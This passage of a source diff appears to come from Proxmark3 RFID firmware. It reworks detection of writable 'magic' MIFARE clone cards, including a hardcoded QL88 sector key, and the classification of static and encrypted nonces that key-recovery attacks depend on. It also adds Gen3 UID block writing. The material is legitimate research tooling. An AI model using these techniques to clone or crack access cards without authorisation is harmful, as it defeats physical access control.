((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, NULL) != MAX_MIFARE_FRAME_SIZE)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar, NULL) != MIFARE_BLOCK_SIZE + CRC16_SIZE)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("read block send command error"); errormsg = 0; break; @@ -2665,15 +2927,19 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } // if MAGIC_DATAIN, the data stays on device side. if (workFlags & MAGIC_DATAIN) { + if (isOK) { memcpy(datain, data, sizeof(data)); } + } else { + if (isOK) { reply_old(CMD_ACK, 1, 0, 0, data, sizeof(data)); } else { OnErrorMagic(errormsg); } + } if (workFlags & MAGIC_OFF) { @@ -2693,18 +2959,19 @@ void MifareCIdent(bool is_mfc, uint8_t keytype, uint8_t *key) { // variables uint8_t rec[1] = {0x00}; uint8_t recpar[1] = {0x00}; - uint8_t rats[4] = {ISO14443A_CMD_RATS, 0x80, 0x31, 0x73}; uint8_t rdblf0[4] = {ISO14443A_CMD_READBLOCK, 0xF0, 0x8D, 0x5f}; uint8_t rdbl00[4] = {ISO14443A_CMD_READBLOCK, 0x00, 0x02, 0xa8}; uint8_t gen4gdmAuth[4] = {MIFARE_MAGIC_GDM_AUTH_KEY, 0x00, 0x6C, 0x92}; uint8_t gen4gdmGetConf[4] = {MIFARE_MAGIC_GDM_READ_CFG, 0x00, 0x39, 0xF7}; + uint8_t gen4gdmGetMagicBlock[4] = {MIFARE_MAGIC_GDM_READBLOCK, 0x00, 0xC2, 0x66}; uint8_t gen4GetConf[8] = {GEN_4GTU_CMD, 0x00, 0x00, 0x00, 0x00, GEN_4GTU_GETCNF, 0, 0}; uint8_t superGen1[9] = {0x0A, 0x00, 0x00, 0xA6, 0xB0, 0x00, 0x10, 0x14, 0x1D}; - bool isGen2 = false; - + uint8_t uid[10]; uint8_t *par = BigBuf_calloc(MAX_PARITY_SIZE); uint8_t *buf = BigBuf_calloc(PM3_CMD_DATA_SIZE); - uint8_t *uid = BigBuf_calloc(10); + iso14a_card_select_t *card = (iso14a_card_select_t *) BigBuf_calloc(sizeof(iso14a_card_select_t)); + + bool isGen2 = false; uint16_t flag = MAGIC_FLAG_NONE; uint32_t cuid = 0; int res = 0; @@ -2726,7 +2993,16 @@ void MifareCIdent(bool is_mfc, uint8_t keytype, uint8_t *key) { ReaderTransmit(gen4gdmGetConf, sizeof(gen4gdmGetConf), NULL); res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); if (res > 1) { - flag |= MAGIC_FLAG_GDM_WUP_40; + // could be ZUID or full USCUID, the magic blocks don't exist on ZUID so + // a failure here indicates a feature limited chip like ZUID + // check for GDM hidden block read + ReaderTransmit(gen4gdmGetMagicBlock, sizeof(gen4gdmGetMagicBlock), NULL); + res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); + if (res > 1) { + flag |= MAGIC_FLAG_GDM_WUP_40; + } else { + flag |= MAGIC_FLAG_GDM_WUP_40_ZUID; + } } } @@ -2746,145 +3022,143 @@ void MifareCIdent(bool is_mfc, uint8_t keytype, uint8_t *key) { // reset card mf_reset_card(); - - res = iso14443a_select_card(uid, NULL, &cuid, true, 0, false); + // Use special magic detection function that always attempts RATS regardless of SAK + res = iso14443a_select_card_for_magic(uid, card, &cuid, true, 0); if (res) { + mf_reset_card(); if (cuid == 0xAA55C396) { flag |= MAGIC_FLAG_GEN_UNFUSED; } - ReaderTransmit(rats, sizeof(rats), NULL); - res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); + if (memcmp(card->ats, "\x09\x78\x00\x91\x02\xDA\xBC\x19\x10", 9) == 0) { + // test for some MFC gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } else if (memcmp(card->ats, "\x0D\x78\x00\x71\x02\x88\x49\xA1\x30\x20\x15\x06\x08\x56\x3D", 15) == 0) { + // test for some MFC 7b gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } else if (memcmp(card->ats, "\x0A\x78\x00\x81\x02\xDB\xA0\xC1\x19\x40\x2A\xB5", 12) == 0) { + // test for Ultralight magic gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } else if (memcmp(card->ats, "\x85\x00\x00\xA0\x00\x00\x0A\xC3\x00\x04\x03\x01\x01\x00\x0B\x03\x41\xDF", 18) == 0) { + // test for Ultralight EV1 magic gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } else if (memcmp(card->ats, "\x85\x00\x00\xA0\x0A\x00\x0A\xC3\x00\x04\x03\x01\x01\x00\x0B\x03\x16\xD7", 18) == 0) { + // test for some other Ultralight EV1 magic gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } else if (memcmp(card->ats, "\x85\x00\x00\xA0\x0A\x00\x0A\xB0\x00\x00\x00\x00\x00\x00\x00\x00\x18\x4D", 18) == 0) { + // test for some other Ultralight magic gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } else if (memcmp(card->ats, "\x85\x00\x00\xA0\x00\x00\x0A\xA5\x00\x04\x04\x02\x01\x00\x0F\x03\x79\x0C", 18) == 0) { + // test for NTAG213 magic gen2 + isGen2 = true; + flag |= MAGIC_FLAG_GEN_2; + } - if (res) { - if (memcmp(buf, "\x09\x78\x00\x91\x02\xDA\xBC\x19\x10", 9) == 0) { - // test for some MFC gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; - } else if (memcmp(buf, "\x0D\x78\x00\x71\x02\x88\x49\xA1\x30\x20\x15\x06\x08\x56\x3D", 15) == 0) { - // test for some MFC 7b gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; - } else if (memcmp(buf, "\x0A\x78\x00\x81\x02\xDB\xA0\xC1\x19\x40\x2A\xB5", 12) == 0) { - // test for Ultralight magic gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; - } else if (memcmp(buf, "\x85\x00\x00\xA0\x00\x00\x0A\xC3\x00\x04\x03\x01\x01\x00\x0B\x03\x41\xDF", 18) == 0) { - // test for Ultralight EV1 magic gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; - } else if (memcmp(buf, "\x85\x00\x00\xA0\x0A\x00\x0A\xC3\x00\x04\x03\x01\x01\x00\x0B\x03\x16\xD7", 18) == 0) { - // test for some other Ultralight EV1 magic gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; - } else if (memcmp(buf, "\x85\x00\x00\xA0\x0A\x00\x0A\xB0\x00\x00\x00\x00\x00\x00\x00\x00\x18\x4D", 18) == 0) { - // test for some other Ultralight magic gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; - } else if (memcmp(buf, "\x85\x00\x00\xA0\x00\x00\x0A\xA5\x00\x04\x04\x02\x01\x00\x0F\x03\x79\x0C", 18) == 0) { - // test for NTAG213 magic gen2 - isGen2 = true; - flag |= MAGIC_FLAG_GEN_2; + // test for super card + ReaderTransmit(superGen1, sizeof(superGen1), NULL); + res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); + if (res == 22) { + uint8_t isGen = MAGIC_FLAG_SUPER_GEN1; + + // check for super card gen2 + // not available after RATS, reset card before executing + mf_reset_card(); + + iso14443a_select_card(uid, NULL, &cuid, true, 0, true); + ReaderTransmit(rdbl00, sizeof(rdbl00), NULL); + res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); + if (res == 18) { + isGen = MAGIC_FLAG_SUPER_GEN2; } - // test for super card - ReaderTransmit(superGen1, sizeof(superGen1), NULL); + flag |= isGen; + } + } + + if (is_mfc == false) { + // magic ntag test + mf_reset_card(); + + res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); + if (res == 2) { + ReaderTransmit(rdblf0, sizeof(rdblf0), NULL); res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); - if (res == 22) { - uint8_t isGen = MAGIC_FLAG_SUPER_GEN1; - - // check for super card gen2 - // not available after RATS, reset card before executing - mf_reset_card(); - - iso14443a_select_card(uid, NULL, &cuid, true, 0, true); - ReaderTransmit(rdbl00, sizeof(rdbl00), NULL); - res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); - if (res == 18) { - isGen = MAGIC_FLAG_SUPER_GEN2; - } - - flag |= isGen; + if (res == 18) { + flag |= MAGIC_FLAG_NTAG21X; } } - if (is_mfc == false) { - // magic ntag test + } else { + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + // CUID (with default sector 0 B key) test + // regular cards will NAK the WRITEBLOCK(0) command, while DirectWrite will ACK it + // if we do get an ACK, we immediately abort to ensure nothing is ever actually written + // only perform test if we haven't already identified Gen2. No need test if we have a positive identification already + if (isGen2 == false) { mf_reset_card(); res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); - if (res == 2) { - ReaderTransmit(rdblf0, sizeof(rdblf0), NULL); - res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); - if (res == 18) { - flag |= MAGIC_FLAG_NTAG21X; - } - } - } else { + if (res) { - struct Crypto1State mpcs = {0, 0}; - struct Crypto1State *pcs; - pcs = &mpcs; + uint64_t tmpkey = bytes_to_num(key, 6); + if (mifare_classic_authex(pcs, cuid, 0, keytype, tmpkey, AUTH_FIRST, NULL, NULL) == 0) { - // CUID (with default sector 0 B key) test - // regular cards will NAK the WRITEBLOCK(0) command, while DirectWrite will ACK it - // if we do get an ACK, we immediately abort to ensure nothing is ever actually written - // only perform test if we haven't already identified Gen2. No need test if we have a positive identification already - if (isGen2 == false) { - mf_reset_card(); - - res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); - if (res) { - - uint64_t tmpkey = bytes_to_num(key, 6); - if (mifare_classic_authex(pcs, cuid, 0, keytype, tmpkey, AUTH_FIRST, NULL, NULL) == 0) { - - if ((mifare_sendcmd_short(pcs, 1, ISO14443A_CMD_WRITEBLOCK, 0, buf, PM3_CMD_DATA_SIZE, par, NULL) == 1) && (buf[0] == 0x0A)) { - flag |= MAGIC_FLAG_GEN_2; - // turn off immediately to ensure nothing ever accidentally writes to the block - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - } + if ((mifare_sendcmd_short(pcs, 1, ISO14443A_CMD_WRITEBLOCK, 0, buf, PM3_CMD_DATA_SIZE, par, NULL) == 1) && (buf[0] == 0x0A)) { + flag |= MAGIC_FLAG_GEN_2; + // turn off immediately to ensure nothing ever accidentally writes to the block + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); } - crypto1_deinit(pcs); - } - } - - // magic MFC Gen3 test 1 - mf_reset_card(); - - res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); - if (res) { - ReaderTransmit(rdbl00, sizeof(rdbl00), NULL); - res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); - if (res == 18) { - flag |= MAGIC_FLAG_GEN_3; - } - } - - // magic MFC Gen4 GDM magic auth test - mf_reset_card(); - - res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); - if (res) { - ReaderTransmit(gen4gdmAuth, sizeof(gen4gdmAuth), NULL); - res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); - if (res == 4) { - flag |= MAGIC_FLAG_GDM_AUTH; - } - } - - // QL88 test - mf_reset_card(); - - res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); - if (res) { - if (mifare_classic_authex(pcs, cuid, 68, MF_KEY_B, 0x707B11FC1481, AUTH_FIRST, NULL, NULL) == 0) { - flag |= MAGIC_FLAG_QL88; } crypto1_deinit(pcs); } } - }; + + // magic MFC Gen3 test 1 + mf_reset_card(); + + res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); + if (res) { + ReaderTransmit(rdbl00, sizeof(rdbl00), NULL); + res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); + if (res == 18) { + flag |= MAGIC_FLAG_GEN_3; + } + } + + // magic MFC Gen4 GDM magic auth test + mf_reset_card(); + + res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); + if (res) { + ReaderTransmit(gen4gdmAuth, sizeof(gen4gdmAuth), NULL); + res = ReaderReceive(buf, PM3_CMD_DATA_SIZE, par); + if (res == 4) { + flag |= MAGIC_FLAG_GDM_AUTH; + } + } + + // QL88 test + mf_reset_card(); + + res = iso14443a_select_card(uid, NULL, &cuid, true, 0, true); + if (res) { + + if (mifare_classic_authex(pcs, cuid, 68, MF_KEY_B, 0x707B11FC1481, AUTH_FIRST, NULL, NULL) == 0) { + flag |= MAGIC_FLAG_QL88; + } + crypto1_deinit(pcs); + } + } // GDM alt magic wakeup (20) ReaderTransmitBitsPar(wupGDM1, 7, NULL, NULL); @@ -2905,9 +3179,7 @@ void MifareHasStaticNonce(void) { // variables int retval = PM3_SUCCESS; uint32_t nt = 0; - uint8_t *uid = BigBuf_malloc(10); - - memset(uid, 0x00, 10); + uint8_t uid[10] = {0}; uint8_t data[1] = { NONCE_FAIL }; struct Crypto1State mpcs = {0, 0}; @@ -2919,7 +3191,7 @@ void MifareHasStaticNonce(void) { uint8_t counter = 0; for (uint8_t i = 0; i < 3; i++) { - if (!iso14443a_select_card(uid, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(uid, NULL, NULL, true, 0, true) == 0) { retval = PM3_ESOFT; goto OUT; } @@ -2949,7 +3221,7 @@ void MifareHasStaticNonce(void) { } if (counter) { - Dbprintf("Static nonce......... " _YELLOW_("%08x"), nt); + Dbprintf("Static nonce....... " _YELLOW_("%08x"), nt); data[0] = NONCE_STATIC; } else { data[0] = NONCE_NORMAL; @@ -2984,18 +3256,26 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - uint8_t enc_counter = 0; + uint8_t first_nt_counter = 0; + uint8_t first_nt_repetition_counter = 0; + uint8_t nested_nt_session_counter = 0; + uint8_t nested_nt_repetition_counter = 0; + uint8_t first_and_nested_nt_repetition_counter = 0; uint8_t key_auth_cmd = MIFARE_AUTH_KEYA + key_type; uint8_t key_auth_cmd_nested = MIFARE_AUTH_KEYA + key_type_nested; uint64_t ui64key = bytes_to_num(key, 6); uint64_t ui64key_nested = bytes_to_num(key_nested, 6); uint32_t oldntenc = 0; bool need_first_auth = true; - uint32_t cuid; - uint32_t nt; - uint32_t old_nt; - uint32_t ntenc; - uint8_t ntencpar; + uint32_t cuid = 0; + uint32_t nt = 0; + uint32_t old_nt = 0; + uint32_t nt_first = 0; + uint32_t old_nt_first = 0; + uint32_t ntenc = 0; + uint8_t ntencpar = 0; + bool is_last_auth_first_auth = true; + if (nr_nested == 0) { cuid = 0; if (iso14443a_select_card(NULL, NULL, &cuid, true, 0, true) == false) { @@ -3003,78 +3283,133 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * retval = PM3_ESOFT; goto OUT; } - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &old_nt, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &nt, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); retval = PM3_ESOFT; goto OUT; }; - } - for (uint8_t i = 0; i < nr_nested; i++) { - if (need_first_auth) { - cuid = 0; + first_nt_counter++; - if (hardreset) { - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("RF reset"); + } else { + + for (uint8_t i = 0; i < nr_nested; i++) { + + if (need_first_auth) { + cuid = 0; + + if (hardreset) { + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("RF reset"); + } + // some cards need longer than mf_reset_card() to see effect on nT + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + SpinDelay(150); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); } - // some cards need longer than mf_reset_card() to see effect on nT - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(150); - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - } - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("select"); - } - if (iso14443a_select_card(NULL, NULL, &cuid, true, 0, true) == false) { - retval = PM3_ESOFT; - goto OUT; - } - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &old_nt, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); - retval = PM3_ESOFT; - goto OUT; - }; - if (!reset && !hardreset) { - need_first_auth = false; - } - if (addread) { - uint8_t dataread[16] = {0x00}; - mifare_classic_readblock(pcs, block_no, dataread); - } - if (addauth) { - if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_NESTED, &nt, NULL, NULL, NULL, false, false)) { + + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("select"); + } + + if (iso14443a_select_card(NULL, NULL, &cuid, true, 0, true) == false) { + retval = PM3_ESOFT; + goto OUT; + } + + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_FIRST, &nt_first, NULL, NULL, NULL, corruptnrar, corruptnrarparity)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); retval = PM3_ESOFT; goto OUT; - } else if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Nonce distance: %i", nonce_distance(old_nt, nt)); - } - old_nt = nt; - } - } + }; - nt = 0; - ntenc = 0; - if (mifare_classic_authex_cmd(pcs, cuid, incblk2 ? block_no_nested + (i * 4) : block_no_nested, key_auth_cmd_nested, ui64key_nested, AUTH_NESTED, &nt, &ntenc, &ntencpar, NULL, false, false)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Nested auth error"); - need_first_auth = true; - } else if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("Nonce distance: %i", nonce_distance(old_nt, nt)); - } - old_nt = nt; - if (oldntenc == 0) { + is_last_auth_first_auth = true; + first_nt_counter++; + if ((first_nt_counter > 1) && (old_nt_first == nt_first)) { + first_nt_repetition_counter++; + } + + old_nt_first = nt_first; + if (!reset && !hardreset) { + need_first_auth = false; + } + + if (addread) { + uint8_t dataread[16] = {0x00}; + mifare_classic_readblock(pcs, block_no, dataread); + } + + if (addauth) { + + if (mifare_classic_authex_cmd(pcs, cuid, block_no, key_auth_cmd, ui64key, AUTH_NESTED, &nt, NULL, NULL, NULL, false, false)) { + + if (g_dbglevel >= DBG_ERROR) Dbprintf("Auth error"); + retval = PM3_ESOFT; + goto OUT; + + } else if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); + } + + is_last_auth_first_auth = false; + if (nt == nt_first) { + first_and_nested_nt_repetition_counter++; + } + + old_nt = nt; + } + } + + nt = 0; + ntenc = 0; + if (mifare_classic_authex_cmd(pcs, cuid, incblk2 ? block_no_nested + (i * 4) : block_no_nested, key_auth_cmd_nested, ui64key_nested, AUTH_NESTED, &nt, &ntenc, &ntencpar, NULL, false, false)) { + + if (g_dbglevel >= DBG_ERROR) Dbprintf("Nested auth error"); + need_first_auth = true; + + } else if (g_dbglevel >= DBG_EXTENDED) { + + if (is_last_auth_first_auth) { + Dbprintf("Nonce distance: %5i (first nonce <> nested nonce)", nonce_distance(nt_first, nt)); + } else { + Dbprintf("Nonce distance: %5i", nonce_distance(old_nt, nt)); + } + } + + nested_nt_session_counter++; + is_last_auth_first_auth = false; + old_nt = nt; + if (nt == nt_first) { + first_and_nested_nt_repetition_counter++; + } + + if ((nested_nt_session_counter > 1) && (oldntenc == ntenc)) { + nested_nt_repetition_counter++; + } oldntenc = ntenc; - } else if (ntenc == oldntenc) { - enc_counter++; } } - if (enc_counter) { + data[1] = (cuid >> 24) & 0xFF; + data[2] = (cuid >> 16) & 0xFF; + data[3] = (cuid >> 8) & 0xFF; + data[4] = (cuid >> 0) & 0xFF; + + if (first_and_nested_nt_repetition_counter) { + data[0] = NONCE_SUPERSTATIC; + data[5] = (nt >> 24) & 0xFF; + data[6] = (nt >> 16) & 0xFF; + data[7] = (nt >> 8) & 0xFF; + data[8] = (nt >> 0) & 0xFF; + + } else if (first_nt_repetition_counter) { + data[0] = NONCE_STATIC; + data[5] = (nt_first >> 24) & 0xFF; + data[6] = (nt_first >> 16) & 0xFF; + data[7] = (nt_first >> 8) & 0xFF; + data[8] = (nt_first >> 0) & 0xFF; + + } else if (nested_nt_repetition_counter) { data[0] = NONCE_STATIC_ENC; - data[1] = (cuid >> 24) & 0xFF; - data[2] = (cuid >> 16) & 0xFF; - data[3] = (cuid >> 8) & 0xFF; - data[4] = (cuid >> 0) & 0xFF; data[5] = (nt >> 24) & 0xFF; data[6] = (nt >> 16) & 0xFF; data[7] = (nt >> 8) & 0xFF; @@ -3084,8 +3419,18 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * data[11] = (ntenc >> 8) & 0xFF; data[12] = (ntenc >> 0) & 0xFF; data[13] = ntencpar; + } else { data[0] = NONCE_NORMAL; + data[5] = (nt >> 24) & 0xFF; + data[6] = (nt >> 16) & 0xFF; + data[7] = (nt >> 8) & 0xFF; + data[8] = (nt >> 0) & 0xFF; + data[9] = (ntenc >> 24) & 0xFF; + data[10] = (ntenc >> 16) & 0xFF; + data[11] = (ntenc >> 8) & 0xFF; + data[12] = (ntenc >> 0) & 0xFF; + data[13] = ntencpar; } OUT: @@ -3171,7 +3516,7 @@ void MifareGen3Blk(uint8_t block_len, uint8_t *block) { int retval = PM3_SUCCESS; uint8_t block_cmd[5] = { 0x90, 0xf0, 0xcc, 0xcc, 0x10 }; - uint8_t cmdlen = sizeof(block_cmd) + MAX_MIFARE_FRAME_SIZE; + uint8_t cmdlen = sizeof(block_cmd) + MIFARE_BLOCK_SIZE + CRC16_SIZE; uint8_t *cmd = BigBuf_calloc(cmdlen); iso14a_card_select_t *card_info = (iso14a_card_select_t *) BigBuf_calloc(sizeof(iso14a_card_select_t)); @@ -3188,7 +3533,7 @@ void MifareGen3Blk(uint8_t block_len, uint8_t *block) { bool doReselect = false; if (block_len < MIFARE_BLOCK_SIZE) { - if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, 0, &cmd[sizeof(block_cmd)], MAX_MIFARE_FRAME_SIZE, NULL, NULL) != MAX_MIFARE_FRAME_SIZE)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, 0, &cmd[sizeof(block_cmd)], MIFARE_BLOCK_SIZE + CRC16_SIZE, NULL, NULL) != MIFARE_BLOCK_SIZE + CRC16_SIZE)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Read manufacturer block failed"); retval = PM3_ESOFT; goto OUT; @@ -3210,19 +3555,20 @@ void MifareGen3Blk(uint8_t block_len, uint8_t *block) { retval = PM3_ESOFT; goto OUT; } - cmd[ofs++] = card_info->sak; + cmd[ofs] = block_len <= card_info->uidlen ? card_info->sak : cmd[ofs]; + ofs++; cmd[ofs++] = card_info->atqa[0]; cmd[ofs++] = card_info->atqa[1]; AddCrc14A(cmd, sizeof(block_cmd) + MIFARE_BLOCK_SIZE); if (doReselect) { - if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { retval = PM3_ESOFT; goto OUT; } } - retval = DoGen3Cmd(cmd, sizeof(block_cmd) + MAX_MIFARE_FRAME_SIZE); + retval = DoGen3Cmd(cmd, sizeof(block_cmd) + MIFARE_BLOCK_SIZE + CRC16_SIZE); } OUT: @@ -3263,13 +3609,13 @@ void MifareG4ReadBlk(uint8_t blockno, uint8_t *pwd, uint8_t workFlags) { int res = 0; int retval = PM3_SUCCESS; - uint8_t *buf = BigBuf_malloc(PM3_CMD_DATA_SIZE); + uint8_t *buf = BigBuf_calloc(PM3_CMD_DATA_SIZE); if (buf == NULL) { retval = PM3_EMALLOC; goto OUT; } - uint8_t *par = BigBuf_malloc(MAX_PARITY_SIZE); + uint8_t *par = BigBuf_calloc(MAX_PARITY_SIZE); if (par == NULL) { retval = PM3_EMALLOC; goto OUT; @@ -3339,7 +3685,7 @@ void MifareG4WriteBlk(uint8_t blockno, uint8_t *pwd, uint8_t *data, uint8_t work int res = 0; int retval = PM3_SUCCESS; - uint8_t *buf = BigBuf_malloc(PM3_CMD_DATA_SIZE); + uint8_t *buf = BigBuf_calloc(PM3_CMD_DATA_SIZE); if (buf == NULL) { retval = PM3_EMALLOC; goto OUT; @@ -3351,7 +3697,7 @@ void MifareG4WriteBlk(uint8_t blockno, uint8_t *pwd, uint8_t *data, uint8_t work goto OUT; } - uint8_t *par = BigBuf_malloc(MAX_PARITY_SIZE); + uint8_t *par = BigBuf_calloc(MAX_PARITY_SIZE); if (par == NULL) { retval = PM3_EMALLOC; goto OUT; diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 86e0afd8f..f6d190d82 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -37,16 +37,14 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key); void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); -void MifareAcquireStaticEncryptedNonces(uint32_t flags, uint8_t *key); +int MifareAcquireStaticEncryptedNonces(uint32_t flags, const uint8_t *key, bool reply, uint8_t first_block_no, uint8_t first_key_type); void MifareAcquireNonces(uint32_t arg0, uint32_t flags); void MifareChkKeys(uint8_t *datain, uint8_t reserved_mem); void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); void MifareChkKeys_file(uint8_t *fn); -void MifareEMemClr(void); -void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); -int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype); -int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype); +int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype, uint8_t *key); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype, uint8_t *key); // MFC GEN1a /1b void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card diff --git a/armsrc/mifaredesfire.c b/armsrc/mifaredesfire.c index 8326327db..cc2996b23 100644 --- a/armsrc/mifaredesfire.c +++ b/armsrc/mifaredesfire.c @@ -60,7 +60,7 @@ bool InitDesfireCard(void) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); set_tracing(true); - if (!iso14443a_select_card(NULL, &card, NULL, true, 0, false)) { + if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == 0) { if (g_dbglevel >= DBG_ERROR) DbpString("Can't select card"); OnError(1); return false; @@ -157,7 +157,7 @@ void MifareDesfireGetInformation(void) { pcb_blocknum = 0; // card select - information - if (!iso14443a_select_card(NULL, &card, NULL, true, 0, false)) { + if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == 0) { if (g_dbglevel >= DBG_ERROR) { DbpString("Can't select card"); } @@ -343,10 +343,11 @@ void MifareDES_Auth1(uint8_t *datain) { uint8_t subcommand = MFDES_AUTHENTICATE; - if (payload->mode == MFDES_AUTH_AES) + if (payload->mode == MFDES_AUTH_AES) { subcommand = MFDES_AUTHENTICATE_AES; - else if (payload->mode == MFDES_AUTH_ISO) + } else if (payload->mode == MFDES_AUTH_ISO) { subcommand = MFDES_AUTHENTICATE_ISO; + } if (payload->mode != MFDES_AUTH_PICC) { // Let's send our auth command @@ -364,7 +365,7 @@ void MifareDES_Auth1(uint8_t *datain) { len = DesfireAPDU(cmd, 2, resp); } - if (!len) { + if (len == 0) { if (g_dbglevel >= DBG_ERROR) { DbpString("Authentication failed. Card timeout."); } @@ -408,6 +409,7 @@ void MifareDES_Auth1(uint8_t *datain) { // Part 3 if (payload->algo == MFDES_ALGO_AES) { + if (mbedtls_aes_setkey_dec(&ctx, key->data, 128) != 0) { if (g_dbglevel >= DBG_EXTENDED) { DbpString("mbedtls_aes_setkey_dec failed"); @@ -416,12 +418,14 @@ void MifareDES_Auth1(uint8_t *datain) { return; } mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, 16, IV, encRndB, RndB); - } else if (payload->algo == MFDES_ALGO_DES) + + } else if (payload->algo == MFDES_ALGO_DES) { des_decrypt(RndB, encRndB, key->data); - else if (payload->algo == MFDES_ALGO_3DES) + } else if (payload->algo == MFDES_ALGO_3DES) { tdes_nxp_receive(encRndB, RndB, rndlen, key->data, IV, 2); - else if (payload->algo == MFDES_ALGO_3K3DES) + } else if (payload->algo == MFDES_ALGO_3K3DES) { tdes_nxp_receive(encRndB, RndB, rndlen, key->data, IV, 3); + } // - Rotate RndB by 8 bits memcpy(rotRndB, RndB, rndlen); @@ -431,6 +435,7 @@ void MifareDES_Auth1(uint8_t *datain) { // - Encrypt our response if (payload->mode == MFDES_AUTH_DES || payload->mode == MFDES_AUTH_PICC) { + des_decrypt(encRndA, RndA, key->data); memcpy(both, encRndA, rndlen); @@ -440,7 +445,9 @@ void MifareDES_Auth1(uint8_t *datain) { 